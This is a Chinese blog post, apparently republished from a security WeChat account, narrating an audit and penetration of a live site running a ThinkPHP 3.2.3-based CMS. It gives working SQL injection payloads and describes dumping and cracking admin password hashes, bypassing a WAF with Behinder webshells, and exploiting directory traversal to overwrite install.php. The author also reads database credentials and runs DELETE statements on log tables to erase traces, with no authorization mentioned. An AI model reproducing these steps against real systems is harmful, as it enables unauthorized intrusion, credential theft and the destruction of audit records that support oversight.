记一次渗透+审计实战

admin 2022年2月28日12:40:13评论73 views字数 2561阅读8分32秒阅读模式

作者:pati3nt,来源:先知社区

前言

某个深夜,waf师傅丢了一套源码给我,以及一个对应的目标站点。

该cms基于tp3.2.3二次开发,已知该版本存在多种sql注入类型以及缓存文件漏洞。

tp3.2.3历史漏洞

https://www.cnblogs.com/ichunqiu/p/12469123.html

漏洞已提交至CNVD
简要概括如下

where注入

利用字符串方式作为where传参时存在注入

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

exp注入

这里使用全局数组进行传参(不要用I方法),漏洞才能生效

public function  getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

bind注入

public function  getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

find/select/delete注入

public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

order by注入

public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
order=id and(updatexml(1,concat(0x7e,(select user())),0))

缓存漏洞

public function test(){
S('name',I('test'));
}

实战挖掘

最终找到几处后台sql注入、存储型xss、后台RCE(目录穿越)

sql注入

具体细节就不写了,漏洞触发点如下

记一次渗透+审计实战

很明显,直接构造发包

记一次渗透+审计实战


但是需要开启debug、且需要登录后台

类似的漏洞还有1处。

后台RCE

模版管理,懂得都懂

记一次渗透+审计实战

附件管理,懂得都懂

记一次渗透+审计实战

记一次渗透+审计实战

这里可以跟一下,寻找对应的上传点

存储型XSS

后台登录日志

记一次渗透+审计实战

记一次渗透+审计实战

但是目标站点的后台开启了http-only,因此无法利用xss获取cookie

后台操作日志的xss注入点在referer

SSRF

在这个实际站点中用处不大,就不展开了。

实战渗透

后台漏洞审了一大堆没啥用,前台功能代码很少,大致看了一遍,不存在注入。

这时候waf师傅告诉我目标的前台搜索框处存在sql注入

记一次渗透+审计实战

我????

于是对比网上下载的审计源码,发现原来源码中与搜索框相关的功能未实现,目标站点的搜索框是自己写的代码。

getshell

既然存在注入,那么直接读取后台管理员账户。

本地查看数据库如下

记一次渗透+审计实战

跟进源码发现password加密方式如下

md5($pass.md5($verify));

写个脚本注出后台用户数据

# admin,admin1
# 19369424b3f933c41324978106c411cc,9509b82e3ddf251f2ea825b49ab6d291
# lnwkNC,XW7YXl

cmd5查询,查询到了admin1账户密码

记一次渗透+审计实战

得到admin1/admin123!

登进去一看,admin1只有管理内容/修改密码两个功能,无法getshell,于是又把内容管理的相关功能进行审计,还是无法getshell。

既然已知加密方式和salt,开始本地爆破,一开始跑了十几万的字典还是没成功。

没办法,只能碰碰运气,用公司名、地级名、成立年份等信息生成一个自定义字典,本地一跑,卧槽成了!!

记一次渗透+审计实战


登录之后尝试后台RCE,修改模版header.php,但是用哥斯拉居然被拦截了。

记一次渗透+审计实战

X-Powered-By: SDWAF

换成冰蝎马的成功绕过waf,但是访问前台又出现一个奇怪的单引号导致的语法错误。。。

最终,增加、编辑模版处还存在目录穿越,修改根目录的/install.php

源码中并未对..以及../进行处理

记一次渗透+审计实战

记一次渗透+审计实战

点到为止

简单测试后发现,phpinfo中没有设置disable_func,却无法执行系统命令。。。

只能靠执行php函数

error_reporting(E_ALL);var_dump(1);
var_dump(scandir('.'));
readfile('web.config');

读取数据库账号密码

'DB_TYPE' => 'mysql',
'DB_HOST' => '180.xxx',
'DB_NAME' => 'xxx',
'DB_USER' => 'xxx',
'DB_PWD' => 'xxx',
'DB_PORT' => '3306',
'DB_PREFIX' => 'wexxx',

发现是站库分离,远程连接。

select user()
select @@basedir;
show variables like '%secure%'

发现是linux系统,当前账户权限较低无法读取文件、修改配置、os-shell

先痕迹清除,第二天晚上下班继续

select * from XXX.perationlog limit 10
DELETE FROM XXX.rationlog WHERE id > 7000
DELETE FROM XXX._loginlog WHERE id > 3000
unlink('test.php');

除此之外,还可以传个reGeorg正向代理,继续扫描内网。


扫描关注乌云安全

记一次渗透+审计实战

觉得不错点个“赞”、“在看”哦记一次渗透+审计实战

本文始发于微信公众号(乌雲安全):记一次渗透+审计实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月28日12:40:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次渗透+审计实战http://cn-sec.com/archives/488001.html

发表评论

匿名网友 填写信息